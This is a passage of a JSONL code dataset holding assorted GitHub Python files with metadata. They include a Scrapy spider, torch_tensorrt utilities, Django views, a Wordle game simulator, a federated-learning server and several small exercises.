#config用来配置tkinter中元件和字体的样式、大小、颜色等\nscrollbar.config(command=listbox.yview) #yview():将列裱框垂直滚动,将相关的垂直滚动命令选项设置为该方法\n\n#启动主视窗\nwindow.mainloop() #loop因为是循环的意思,window.mainloop就会让window不断的重新整理,如果没有mainloop,就是一个静态的window,传入进去的值就不会有循环,mainloop就相当于一个很大的while循环,每点选一次就会更新一次,所以我们必须要有循环,视窗档案都必须有类似的mainloop ","repo_name":"u01217013/first-side","sub_path":"youtubedownload-GUI.py","file_name":"youtubedownload-GUI.py","file_ext":"py","file_size_in_byte":5514,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33400063896","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import confusion_matrix, accuracy_score\n\ncos_DF = pd.read_csv('sem_anl.csv', sep='\\t')\n# print(cos_DF)\n# print(cos_DF.head())\n\n# speed\n\"\"\"\n- mean speed\n- avg runtime of method\n- avg length of messages\n\"\"\"\nruntimes = cos_DF['runtime(ns)']\nprint('values')\nprint(f'mean {runtimes.mean()}')\nprint(f'median {runtimes.median()}')\nprint(f'sd {runtimes.std()}')\n\n# success rate | false positive\nscore = cos_DF['score'].values\nactual = cos_DF['actual'].values\nprint(score.size)\nprint(actual.size)\naccuracy = accuracy_score(actual, score)\nresults = confusion_matrix(actual, score)\nprint(results)\nprint(\"accuracy: \", accuracy)\nc_ham = 0\nc_spam = 0\nx = 0\nfor i in range(score.size):\n if score[i] == 'ham':\n if score[i] == actual[i]:\n c_ham = c_ham + 1\n else:\n x = x + 1\n elif score[i] == 'spam':\n if score[i] == actual[i]:\n c_spam = c_spam + 1\n\nprint(c_ham)\nprint(c_spam)\nprint(x)\nprint(score)\nprint(actual)\n\n# faster to classify as spam OR ham\n","repo_name":"Willz01/Thesis-P2P-Experiment","sub_path":"res/sem/results-sem.py","file_name":"results-sem.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25201417332","text":"# write your code here\nimport random\n\n\nprint('Enter the number of friends joining (including you):')\nn = int(input())\nif n <= 0:\n print('No one is joining for the party')\nelse:\n names = []\n print('Enter the name of every friend (including you), each on a new line:')\n for i in range(n):\n names.append(input())\n friends = dict.fromkeys(names, 0)\n #print(friends)\n print('Enter the total bill value:')\n total_bill = float(input())\n lucky = None\n print('Do you want to use the \"Who is lucky?\" feature? '\n 'Write Yes/No:')\n answer = input()\n if answer == \"Yes\":\n lucky = random.choice(names)\n print(f'{lucky} is the lucky one!')\n n -= 1\n else:\n print('No one is going to be lucky')\n split_value = round(total_bill / n, 2)\n for name in names:\n if name != lucky:\n friends[name] = split_value\n print(friends)\n","repo_name":"ikonnikovaev/bill_splitter","sub_path":"Bill Splitter/task/billsplitter.py","file_name":"billsplitter.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21712874759","text":"from scrapy import Spider\nfrom bcp.items import NewsItemLoader\n\n\n\nclass ElComercio(Spider):\n name = 'el_comercio'\n start_urls = [\n 'https://elcomercio.pe/politica/frente-amplio-anuncia-nueva-denuncia-constitucional-pedro-chavarry-noticia-nndc-611514',\n 'https://elcomercio.pe/deporte-total/futbol-peruano/seleccion-peruana-perdio-oportunidad-jugar-campeon-mundo-noticia-611606',\n 'https://elcomercio.pe/peru/lista-carreteras-pais-afectadas-debido-intensas-lluvias-noticia-nndc-611444'\n ]\n \n def parse(self, response):\n nl = NewsItemLoader(response=response)\n\n nl.add_xpath('title', '//h1')\n nl.add_xpath('content', '//div[has-class(\"news-text-content\")]/p')\n nl.add_xpath('image', '//div[has-class(\"image\")]//img/@src')\n nl.add_value('url', response.url)\n\n yield nl.load_item()\n","repo_name":"matiskay/tutorial","sub_path":"bcp/spiders/el_comercio.py","file_name":"el_comercio.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41166693689","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 5 16:25:33 2016\n\n@author: liam\n\"\"\"\nfrom rankpy.models import LambdaMART, LambdaRandomForest\nfrom rankpy import queries\nimport numpy as np\n# testing lambda rank\ndef gen_qrys(n):\n qry_ids = np.array([])\n for qry_id in range(n):\n qry_ids_curr = np.repeat(qry_id, np.random.choice(range(30,50),size=1))\n qry_ids = np.hstack((qry_ids, qry_ids_curr))\n X, y = [], []\n def gen_features_from_rel(rel):\n #f1 = np.random.normal(rel, 2) + np.random.uniform(0,1)\n #f2 = np.random.normal(-rel + 5, 2) * np.random.uniform(rel - 1, rel + 1)\n #f3 = np.random.normal(rel, 2) / np.random.uniform(0,1)\n f1 = np.random.normal(rel, 0.01)\n f2 = np.random.normal(rel, 0.01)\n f3 = np.random.normal(rel, 0.1)\n return list((f1,f2,f3))\n for q in range(n):\n num = sum(qry_ids==q)\n for i in range(num):\n this_y = np.random.choice([0,0,0,0,0,0,1,1,1,5],size=1)[0]\n y.append(this_y)\n X.append(gen_features_from_rel(this_y))\n y = np.array(y)\n X = np.array(X)\n return X, y, qry_ids\nf=10\nX, y, q = gen_qrys(10*f)\n\nq_indptr = q[0:-1] - q[1:]\nq_indptr = np.array([0] + [int(i + 1) for i in np.where(q_indptr!=0)[0]] + [X.shape[0]])\ntrain_queries = queries.Queries(X,y,q_indptr)\n#model = LambdaMART(metric='nDCG@38', max_leaf_nodes=3, shrinkage=0.1,\n# estopping=50, n_jobs=-1, min_samples_leaf=50,\n# random_state=1)\nmodel = LambdaRandomForest(metric='nDCG@10')\nmodel.fit(train_queries)\n#%%\n\n#%%\nX, y, q = gen_qrys(50*f)\n#X = np.hstack((X,np.arange(X.shape[0]).reshape((X.shape[0],1))))\nq_indptr = q[0:-1] - q[1:]\nq_indptr = np.array([0] + [int(i + 1) for i in np.where(q_indptr!=0)[0]] + [X.shape[0]])\ntest_queries = queries.Queries(X,y,q_indptr,has_sorted_relevances=True)\n#%%\norder = (test_queries.feature_vectors[:,3]).astype(np.int)\n#%%\npreds = model.predict(test_queries)\ndf = pd.DataFrame(np.vstack((y, y, q, preds)).T)\ndf.columns = ['click_bool','booking_bool','srch_id','pred_rel']\nndcg_of_df(df)","repo_name":"MBleeker/Data-Mining","sub_path":"project-two/old/lambda_mart_toy_data.py","file_name":"lambda_mart_toy_data.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36056721266","text":"\"\"\"\nAt a popular bar, each customer has a set of favorite drinks, and will happily accept any drink among this set.\nFor example, in the following situation, customer 0 will be satisfied with drinks 0, 1, 3, or 6.\npreferences = {\n 0: [0, 1, 3, 6],\n 1: [1, 4, 7],\n 2: [2, 4, 7, 5],\n 3: [3, 2, 5],\n 4: [5, 8]\n}\nA lazy bartender working at this bar is trying to reduce his effort by limiting the drink recipes he must memorize.\nGiven a dictionary input such as the one above, return the fewest number of drinks he must learn in order to satisfy\nall customers.\n\nFor the input above, the answer would be 2, as drinks 1 and 5 will satisfy everyone.\n\"\"\"\n\nfrom typing import Dict\n\n\ndef fewest_drinks_to_learn(drinks, remaining_drinks, remaining_customers, customer_by_drink):\n min_drinks = drinks\n\n if not remaining_customers:\n return drinks - remaining_drinks\n\n for drink in remaining_drinks:\n required_drinks = fewest_drinks_to_learn(drinks,\n remaining_drinks - {drink},\n remaining_customers - customer_by_drink[drink],\n customer_by_drink)\n\n if len(required_drinks) < len(min_drinks):\n min_drinks = required_drinks\n\n return min_drinks\n\n\ndef get_min_drinks(preferences: Dict) -> int:\n customer_by_drink = dict()\n for customer in preferences.keys():\n for drink in preferences[customer]:\n if drink not in customer_by_drink:\n customer_by_drink[drink] = set()\n customer_by_drink[drink].add(customer)\n\n remaining_drinks = set(customer_by_drink.keys())\n remaining_customers = set(preferences.keys())\n return fewest_drinks_to_learn(set(customer_by_drink.keys()), remaining_drinks,\n remaining_customers, customer_by_drink)\n\n\nif __name__ == '__main__':\n preferences = {\n 0: [0, 1, 3, 6],\n 1: [1, 4, 7],\n 2: [2, 4, 7, 5],\n 3: [3, 2, 5],\n 4: [5, 8]\n }\n print(get_min_drinks(preferences))\n","repo_name":"smartinsert/CodingProblem","sub_path":"daily_coding_problems/lazy_bartender.py","file_name":"lazy_bartender.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72043734934","text":"from __future__ import annotations\n\nimport logging\nfrom dataclasses import fields, replace\nfrom typing import Any, Callable, Dict, Optional, Sequence, Union\n\nimport torch\nfrom torch_tensorrt._Device import Device\nfrom torch_tensorrt._Input import Input\nfrom torch_tensorrt.dynamo import CompilationSettings\nfrom torch_tensorrt.dynamo._defaults import PRECISION\n\nimport torch_tensorrt\nfrom packaging import version\n\nlogger = logging.getLogger(__name__)\n\nCOSINE_THRESHOLD = 0.99\n\n\ndef use_python_runtime_parser(use_python_runtime: Optional[bool] = None) -> bool:\n \"\"\"Parses a user-provided input argument regarding Python runtime\n\n Automatically handles cases where the user has not specified a runtime (None)\n\n Returns True if the Python runtime should be used, False if the C++ runtime should be used\n \"\"\"\n using_python_runtime = use_python_runtime\n reason = \"\"\n\n # Runtime was manually specified by the user\n if using_python_runtime is not None:\n reason = \"as requested by user\"\n # Runtime was not manually specified by the user, automatically detect runtime\n else:\n try:\n from torch_tensorrt.dynamo.runtime import TorchTensorRTModule # noqa: F401\n\n using_python_runtime = False\n reason = \"since C++ dependency was detected as present\"\n except ImportError:\n using_python_runtime = True\n reason = \"since import failed, C++ dependency not installed\"\n\n logger.info(\n f\"Using {'Python-only' if using_python_runtime else 'Default'} Torch-TRT Runtime ({reason})\"\n )\n\n return using_python_runtime\n\n\ndef cosine_similarity(gt_tensor: torch.Tensor, pred_tensor: torch.Tensor) -> float:\n gt_tensor = gt_tensor.flatten().to(torch.float32)\n pred_tensor = pred_tensor.flatten().to(torch.float32)\n if torch.sum(gt_tensor) == 0.0 or torch.sum(pred_tensor) == 0.0:\n if torch.allclose(gt_tensor, pred_tensor, atol=1e-4, rtol=1e-4, equal_nan=True):\n return 1.0\n res_t = torch.nn.functional.cosine_similarity(\n gt_tensor, pred_tensor, dim=0, eps=1e-6\n )\n res: float = res_t.cpu().detach().item()\n\n return res\n\n\ndef input_is_dynamic(inputs: Sequence[Union[Input, torch.Tensor]]) -> bool:\n \"\"\"\n Return true if the provided inputs are `torch_tensorrt.Input` objects and have dynamic shapes.\n \"\"\"\n return not any(isinstance(input, torch.Tensor) for input in inputs) and any(\n input.shape_mode == Input._ShapeMode.DYNAMIC for input in inputs\n )\n\n\ndef get_torch_inputs(\n inputs: Sequence[Input], device: Union[Device, torch.device, str], mode: str = \"\"\n) -> Sequence[torch.tensor]:\n \"\"\"\n Return the torch_tensor from the Input object. If mode is set, this implies\n user is using dynamic shaped inputs and return the corresponding input based\n on the mode requested.\n \"\"\"\n device = to_torch_device(device)\n if mode:\n return [\n input.example_tensor(mode).to(device)\n for input in inputs\n if isinstance(input, Input)\n ]\n return [\n input.torch_tensor.to(device) for input in inputs if isinstance(input, Input)\n ]\n\n\ndef set_log_level(parent_logger: Any, level: Any) -> None:\n \"\"\"\n Sets the log level to the user provided level.\n This is used to set debug logging at a global level\n at entry points of tracing, dynamo and torch_compile compilation.\n \"\"\"\n if parent_logger:\n parent_logger.setLevel(level)\n\n\ndef prepare_inputs(\n inputs: Input | torch.Tensor | Sequence[Any] | Dict[Any, Any],\n disable_memory_format_check: bool = False,\n) -> Any:\n if isinstance(inputs, Input):\n return inputs\n\n elif isinstance(inputs, torch.Tensor):\n return Input.from_tensor(\n inputs, disable_memory_format_check=disable_memory_format_check\n )\n\n elif isinstance(inputs, list):\n torchtrt_input_list = []\n for input_obj in inputs:\n torchtrt_input = prepare_inputs(\n input_obj, disable_memory_format_check=disable_memory_format_check\n )\n torchtrt_input_list.append(torchtrt_input)\n\n return torchtrt_input_list\n\n elif isinstance(inputs, tuple):\n torchtrt_inputs_tup = []\n for input_obj in inputs:\n torchtrt_input = prepare_inputs(\n input_obj, disable_memory_format_check=disable_memory_format_check\n )\n torchtrt_inputs_tup.append(torchtrt_input)\n\n return tuple(torchtrt_inputs_tup)\n\n elif isinstance(inputs, dict):\n torchtrt_inputs_dict: Dict[Any, Any] = dict()\n\n for key, input_obj in inputs.items():\n torchtrt_input = prepare_inputs(\n input_obj, disable_memory_format_check=disable_memory_format_check\n )\n torchtrt_inputs_dict[key] = torchtrt_input\n\n return torchtrt_inputs_dict\n\n else:\n raise ValueError(\n f\"Invalid input type {type(inputs)} encountered in the dynamo_compile input parsing. \"\n + \"Allowed input types: {torch_tensorrt.Input, torch.Tensor, list, tuple, dict}\"\n )\n\n\ndef to_torch_device(device: Optional[Union[Device, torch.device, str]]) -> torch.device:\n \"\"\"Cast a device-type to torch.device\n\n Returns the corresponding torch.device\n \"\"\"\n if isinstance(device, Device):\n if device.gpu_id != -1:\n return torch.device(device.gpu_id)\n else:\n raise ValueError(\"Invalid GPU ID provided for the CUDA device provided\")\n\n elif isinstance(device, torch.device):\n return device\n\n elif device is None:\n return torch.device(torch.cuda.current_device())\n\n else:\n return torch.device(device)\n\n\ndef to_torch_tensorrt_device(\n device: Optional[Union[Device, torch.device, str]]\n) -> Device:\n \"\"\"Cast a device-type to torch_tensorrt.Device\n\n Returns the corresponding torch_tensorrt.Device\n \"\"\"\n if isinstance(device, Device):\n return device\n\n elif isinstance(device, torch.device):\n return Device(gpu_id=device.index)\n\n elif device is None:\n return Device(gpu_id=torch.cuda.current_device())\n\n else:\n return Device(device)\n\n\ndef parse_dynamo_kwargs(kwargs: Any) -> CompilationSettings:\n \"\"\"Parses the kwargs field of a Dynamo backend\n\n Args:\n kwargs: Keyword arguments dictionary provided to the backend\n Returns:\n CompilationSettings object with relevant kwargs\n \"\"\"\n\n # Initialize an empty CompilationSettings object\n settings = CompilationSettings()\n\n # If the user specifies keyword args, overwrite those fields in settings\n # Validate all specified kwargs to ensure they are true fields of the dataclass\n #\n # Note: kwargs provided by torch.compile are wrapped in the \"options\" key\n if kwargs:\n if \"options\" in kwargs and len(kwargs) == 1:\n kwargs = kwargs[\"options\"]\n\n valid_attrs = {attr.name for attr in fields(settings)}\n valid_kwargs = {k: v for k, v in kwargs.items() if k in valid_attrs}\n settings = replace(settings, **valid_kwargs)\n\n # TODO: Remove once Dynamo precisions refactoring is complete\n if \"enabled_precisions\" in kwargs:\n enabled_precisions = kwargs[\"enabled_precisions\"]\n\n if (\n torch.float16 in enabled_precisions\n or torch_tensorrt.dtype.half in enabled_precisions\n ):\n settings.precision = torch.float16\n elif (\n torch.float32 in enabled_precisions\n or torch_tensorrt.dtype.float in enabled_precisions\n ):\n settings.precision = torch.float32\n elif len(enabled_precisions) == 0:\n logger.info(f\"No precision specified, defaulting to {PRECISION}\")\n settings.precision = PRECISION\n else:\n raise ValueError(\n f\"Precision {enabled_precisions} not supported in the Dynamo Path\"\n )\n\n # Parse input runtime specification\n settings.use_python_runtime = use_python_runtime_parser(settings.use_python_runtime)\n\n # Ensure device is a torch_tensorrt Device\n settings.device = to_torch_tensorrt_device(settings.device)\n\n # Check and update device settings\n if \"device\" not in kwargs:\n logger.info(\n f\"Device not specified, using Torch default current device - cuda:{settings.device.gpu_id}. \"\n \"If this is incorrect, please specify an input device, via the device keyword.\"\n )\n\n # Ignore and warn about require_full_compilation flag\n if settings.require_full_compilation:\n logger.warning(\n \"Detected require_full_compilation=True for a torch.compile run. \"\n \"This option has no effect in torch.compile.\"\n )\n settings.require_full_compilation = False\n\n logger.info(\"Compilation Settings: %s\\n\", settings)\n\n return settings\n\n\ndef req_torch_version(min_torch_version: str = \"2.dev\") -> Callable[..., Any]:\n \"\"\"\n Create a decorator which verifies the Torch version installed\n against a specified version range\n\n Args:\n min_torch_version (str): The minimum required Torch version\n for the decorated function to work properly\n\n Returns:\n A decorator which raises a descriptive error message if\n an unsupported Torch version is used\n \"\"\"\n\n def nested_decorator(f: Callable[..., Any]) -> Callable[..., Any]:\n def function_wrapper(*args: Any, **kwargs: Any) -> Any:\n # Parse minimum and current Torch versions\n min_version = version.parse(min_torch_version)\n current_version = version.parse(torch.__version__)\n\n if current_version < min_version:\n raise AssertionError(\n f\"Expected Torch version {min_torch_version} or greater, \"\n + f\"when calling {f}. Detected version {torch.__version__}\"\n )\n else:\n return f(*args, **kwargs)\n\n return function_wrapper\n\n return nested_decorator\n","repo_name":"pytorch/TensorRT","sub_path":"py/torch_tensorrt/dynamo/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10042,"program_lang":"python","lang":"en","doc_type":"code","stars":2158,"dataset":"github-code","pt":"67"} +{"seq_id":"38114937107","text":"\nfrom django.shortcuts import render, get_object_or_404\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.contrib.auth.models import User\nfrom django.views.generic import (\n ListView,\n DetailView,\n CreateView,\n UpdateView,\n DeleteView\n)\nfrom .models import Post\n\n\ndef home(request):\n context = {\n 'news': News.objects.all()\n }\n return render(request, 'app/home.html', context)\n\n\nclass NewsListView(ListView):\n model = news\n template_name = 'app/home.html' # /_.html\n context_object_name = 'news'\n ordering = ['-date_posted']\n paginate_by = 5\n\n\nclass NewsListView(ListView):\n model = News\n template_name = 'app/user_posts.html' # /_.html\n context_object_name = 'posts'\n paginate_by = 5\n\n def get_queryset(self):\n user = get_object_or_404(User, username=self.kwargs.get('username'))\n return News.objects.filter(author=user).order_by('-date_posted')\n\n\nclass NewsDetailView(DetailView):\n model = News\n template_name = 'app/user_posts.html' # /_.html\n\n\nclass SearchResultsListView(ListView):\n model = News\n context_object_name = 'news_list'\n template_name = 'news/search_results.html'\n queryset = News.objects.filter(title__icontains='beginners') # new\n\n\n\n\n\n\n\n\n\n\n","repo_name":"crystalokd/django-project","sub_path":"appi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21569828560","text":"def fibonacci(num):\r\n fib = [1, 1]\r\n for i in range(2, num):\r\n fib.append(fib[i - 1] + fib[i - 2])\r\n if fib[-1] >= 4000000:\r\n fib.remove(fib[-1])\r\n return fib\r\n\r\n\r\ntask = \"By considering the terms in the Fibonacci sequence whose values do not exceed four million, find the sum of the even-valued terms.\"\r\nseries = fibonacci(1000)\r\nresult = sum([num for num in series if num % 2 == 0])\r\nprint(f\"Task: {task}\\nAnswer: {result}\")\r\n\r\n","repo_name":"Alekselion/project-euler","sub_path":"task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71446282134","text":"# create by fanfan on 2017/7/5 0005\n\nfrom setting import defaultPath\nfrom setting import tv_classfication\nimport numpy as np\nimport os\nfrom common import data_convert\nfrom gensim.models import Word2Vec\n\ndef load_data(max_sentence_length = None):\n read_dir_path = os.path.join(defaultPath.PROJECT_DIRECTORY,tv_classfication.tv_data_path)\n label_dir_list = os.listdir(read_dir_path)\n x_raw = []\n y = []\n label2index_dict = {l.strip(): i for i,l in enumerate(tv_classfication.label_list)}\n\n for label_dir in label_dir_list:\n if label_dir == 'thu_jieba.txt':\n continue\n label_dir_path = os.path.join(read_dir_path,label_dir)\n label_index = label2index_dict[label_dir]\n label_item = np.zeros(len(tv_classfication.label_list),np.float32)\n label_item[label_index] = 1\n label_file_list = os.listdir(label_dir_path)\n for label_file in label_file_list:\n if label_file.endswith(\".csv\"):\n continue\n with open(os.path.join(label_dir_path,label_file),'rb') as reader:\n i = 0\n for line in reader:\n i +=1\n text = line.decode('utf-8').replace('\\n','').replace('\\r','').strip()\n x_raw.append(text)\n y.append(label_item)\n\n if not max_sentence_length:\n max_sentence_length = max([len(item.split(\" \") for item in x_raw)])\n x = []\n\n model_path = tv_classfication.word2vec_path\n word2vec_model = Word2Vec.load(model_path)\n text_converter = data_convert.SimpleTextConverter(word2vec_model,max_sentence_length,None)\n\n for sentence,sentence_leng in text_converter.transform_to_ids(x_raw):\n x.append(sentence)\n return np.array(x),np.array(y)\n\n\nclass tv_data_loader():\n def __init__(self):\n self.sentenct_length = tv_classfication.flags.sentence_length\n self.data_X ,self.data_Y = load_data(self.sentenct_length)\n self.totla_data_number = len(self.data_Y)\n shuffle_indices = np.random.permutation(np.arange(self.totla_data_number))\n x_shuffled = self.data_X[shuffle_indices]\n y_shuffled = self.data_Y[shuffle_indices]\n\n # 分割训练集和测试机,用于验证\n valid_sample_index = tv_classfication.flags.valid_num\n self.x_valid, self.x_train = x_shuffled[:valid_sample_index], x_shuffled[valid_sample_index:]\n self.y_valid, self.y_train = y_shuffled[:valid_sample_index], y_shuffled[valid_sample_index:]\n\n self.train_data_num = len(self.y_train)\n self.num_batch = self.train_data_num//tv_classfication.flags.batch_size\n\n def training_iter(self):\n train_data = np.array(list(zip(self.x_train,self.y_train)))\n shuffle_indices = np.random.permutation(np.arange(self.train_data_num))\n\n shuffle_data = train_data[shuffle_indices]\n for i in range(self.num_batch + 1):\n if i == self.num_batch:\n yield shuffle_data[i*tv_classfication.flags.batch_size :]\n else:\n yield shuffle_data[i*tv_classfication.flags.batch_size:(i+1) * tv_classfication.flags.batch_size]\n\n\n\n\n\n","repo_name":"fanfanfeng/deeplearning","sub_path":"src/tv_classfication/bi_lstm/tv_data_loader.py","file_name":"tv_data_loader.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"25852004664","text":"def check(arr):\n global ans\n for a in range(si, ei+1):\n for b in range(sj, ej+1):\n if arr[a][b] == '.':\n ans = 'no'\n return False\n\nT = int(input())\n\nfor tc in range(1, T+1):\n N = int(input())\n arr = [list(input()) for _ in range(N)]\n ans = 'yes'\n\n flag1, flag2 = False, False\n si, sj = -1, -1\n ei, ej = -1, -1\n\n for i in range(N):\n for j in range(N):\n if arr[i][j] == '#':\n si, sj = i, j\n flag1 = True\n break\n if flag1 == True:\n break\n for i in range(N-1, -1, -1):\n for j in range(N-1, -1, -1):\n if arr[i][j] == '#':\n ei, ej = i, j\n flag2 = True\n break\n if flag2 == True:\n break\n check(arr)\n if si < 0 or sj < 0 or ei < 0 or ej < 0 or ei-si != ej-sj:\n ans = 'no'\n print(f'#{tc} {ans}')","repo_name":"younga-Lee/algorithm","sub_path":"SWEA/D3/13732. 정사각형 판정/정사각형 판정.py","file_name":"정사각형 판정.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41819650839","text":"from flearn.utils.ClientData import ClientData\nfrom flearn.clients.client import Client\nimport numpy as np\n\nClient_Data = ClientData\n\nclass Server(object):\n def __init__(self, train_data, ids, Learner, initial_params, learning_rate):\n self.ids = ids\n self.learner = Learner\n self.initial_params = initial_params\n self.learning_rate = learning_rate\n self.clients = self.set_clients(train_data)\n self.model = self.learner(initial_params, learning_rate)\n \n def set_clients(self, train_data):\n clients = []\n for id in self.ids:\n client_data = Client_Data(train_data, id)\n c = Client(id, client_data)\n c.create_model(self.learner, self.initial_params, self.learning_rate)\n clients.append(c)\n return clients\n\n def send_model(self):\n params = self.model.print_params()\n for c in self.clients:\n c.update_model(params)\n\n def select_client(self, select_rate):\n self.num_clients = np.maximum(1, np.int(np.floor(len(self.ids) * select_rate)))\n select_ids = np.random.choice(self.ids, self.num_clients, replace=False)\n select_clients = []\n for id in select_ids:\n loc_id = np.array([id == idx for idx in self.ids])\n ind = np.int(np.array(range(len(self.ids)))[loc_id])\n select_client = self.clients[ind]\n select_clients.append(select_client)\n return select_clients\n","repo_name":"zhaolotelli/FedLearn","sub_path":"flearn/servers/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"9106154647","text":"from collections import defaultdict\n\nimport pandas as pd\nimport numpy as np\nimport torch\nfrom tqdm.auto import tqdm\n\nfrom model import Dictionary, Game\nfrom model.environment.guess import Code\nfrom model.environment.score import create_wordle_score_matrix\nfrom model.util.constants import MAX_GUESS_NUMBER\n\n\ndef create_empty_row(word_length: int):\n \"\"\"\n Creates an empty row for the dataset (row of a sequence without any guesses)\n :param word_length: Length of the words\n :return: Row for the dataset\n \"\"\"\n game_row = []\n for guess_index in range(MAX_GUESS_NUMBER):\n game_row.extend([-1 for _ in range(word_length)])\n game_row.extend([Code.UNKNOWN.value for _ in range(word_length)])\n return game_row\n\n\ndef create_dataset(\n dictionary: Dictionary, num_games: int = 5, add_first=True, hmm_conform=False\n):\n \"\"\"\n Simulates num_games for each possible solution word in the dictionary and creates a dataset\n :param dictionary: Dictionary containing all legal words\n :param num_games: (optional, defaults to 5) Number of games that will be simulated for each solution\n :param add_first: (optional, defaults to True) Whether an empty row should be added to the dataset for each game\n :param hmm_conform: (optional, defaults to False) Whether the sequences should be extended to contain the true\n guess in the end (needed for the HMM training)\n :return: Tuple of a numpy array of shape (length, num guesses, 2 * word length) containing the sequences and\n a numpy array of shape (length) containing the solution words as indices in the dictionary\n \"\"\"\n game_results = []\n\n solutions = []\n\n word_usage = np.zeros((len(dictionary.words), len(dictionary.words)), dtype=np.int)\n score_matrix = create_wordle_score_matrix(dictionary)\n with tqdm(dictionary.words, desc=f\"Generating games\") as progress_bar:\n for s_index, word in enumerate(progress_bar):\n\n solution_code = dictionary.word_to_int(word)\n\n for current_game_num in range(num_games):\n progress_bar.set_postfix(\n game_number=f\"{str(current_game_num + 1).zfill(len(str(num_games)))}/{num_games}\",\n refresh=True,\n )\n\n c_game = Game(dictionary, solution=word, score_matrix=score_matrix)\n\n game_row = create_empty_row(dictionary.word_length)\n\n # Add initial\n if add_first:\n if hmm_conform:\n new_row = game_row.copy()\n new_row[0 : dictionary.word_length] = solution_code\n new_row[dictionary.word_length : 2 * dictionary.word_length] = [\n Code.GREEN.value for _ in range(dictionary.word_length)\n ]\n game_results.append(new_row)\n else:\n game_results.append(game_row.copy())\n solutions.append(s_index)\n\n game_index = 0\n while not c_game.is_over():\n # Guess word\n r_word = None\n\n while r_word is None:\n # Do not use same word twice in one game\n r_word, r_index = dictionary.get_random_word()\n\n if r_word in c_game.previous_guesses:\n r_word = None\n\n word_usage[s_index][r_index] += 1\n # r_code = convert_word_to_code(r_word)\n reply = c_game.guess(r_index)\n\n score = reply.code\n word_repr = dictionary.word_to_int(r_word)\n\n for letter_ind in range(dictionary.word_length):\n c_ind = 2 * game_index * dictionary.word_length + letter_ind\n game_row[c_ind] = word_repr[letter_ind]\n game_row[dictionary.word_length + c_ind] = score[\n letter_ind\n ].value\n\n if not c_game.is_solved() or not add_first:\n # Don't add solved games since the model won't be able to continue guessing\n if hmm_conform and game_index + 1 < MAX_GUESS_NUMBER:\n new_row = game_row.copy()\n current_index = (\n (game_index + 1) * dictionary.word_length * 2\n )\n new_row[\n current_index : current_index + dictionary.word_length\n ] = solution_code\n new_row[\n current_index\n + dictionary.word_length : current_index\n + 2 * dictionary.word_length\n ] = [\n Code.GREEN.value for _ in range(dictionary.word_length)\n ]\n game_results.append(new_row)\n else:\n game_results.append(game_row.copy())\n solutions.append(s_index)\n elif (\n c_game.is_solved()\n and hmm_conform\n and game_index + 1 < MAX_GUESS_NUMBER\n ):\n new_row = game_row.copy()\n current_index = (game_index + 1) * dictionary.word_length * 2\n new_row[\n current_index : current_index + dictionary.word_length\n ] = solution_code\n new_row[\n current_index\n + dictionary.word_length : current_index\n + 2 * dictionary.word_length\n ] = [Code.GREEN.value for _ in range(dictionary.word_length)]\n game_results.append(new_row)\n solutions.append(s_index)\n\n game_index += 1\n\n game_results = np.array(game_results)\n game_results = np.reshape(\n game_results,\n (game_results.shape[0], MAX_GUESS_NUMBER, dictionary.word_length * 2),\n )\n return game_results, np.array(solutions)\n\n\ndef create_lstm_tensors(\n dictionary: Dictionary, num_games: int = 5,\n):\n \"\"\"\n Simulates num_games for each possible solution word in the dictionary and creates a dataset\n :param dictionary: Dictionary containing all legal words\n :param num_games: (optional, defaults to 5) Number of games that will be simulated for each solution)\n :return: Tuple of a float tensor of shape (length, num guesses, 2 * word length) containing the sequences and\n a long tensor array of shape (length) containing the solution words as indices in the dictionary\n \"\"\"\n game_results, solutions = create_dataset(dictionary, num_games=num_games,)\n\n game_tensor = torch.from_numpy(game_results).float()\n solutions_tensor = torch.from_numpy(solutions).long()\n\n return game_tensor, solutions_tensor\n","repo_name":"verena-hallitschke/hmm-dle","sub_path":"model/environment/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38746110782","text":"from django.db import models\nfrom django.urls import reverse\nimport uuid\nfrom categories.models import Category\n# Create your models here.\n\n\nclass Library(models.Model):\n slug = models.SlugField(max_length=200, unique=True)\n name = models.CharField(verbose_name='kutubxona nomi', max_length=200, db_index=True)\n \n REGIONS = (\n ('Tashkent', 'Tashkent'),\n ('Andijan', 'Andijan'),\n ('Bukhara', 'Bukhara'),\n ('Fergana', 'Fergana'),\n ('Jizzakh', 'Jizzakh'),\n ('Xorazm', 'Xorazm'),\n ('Namangan', 'Namangan'),\n ('Navoiy', 'Navoiy'),\n ('Qashqadaryo', 'Qashqadaryo'),\n ('Samarkand', 'Samarkand'),\n 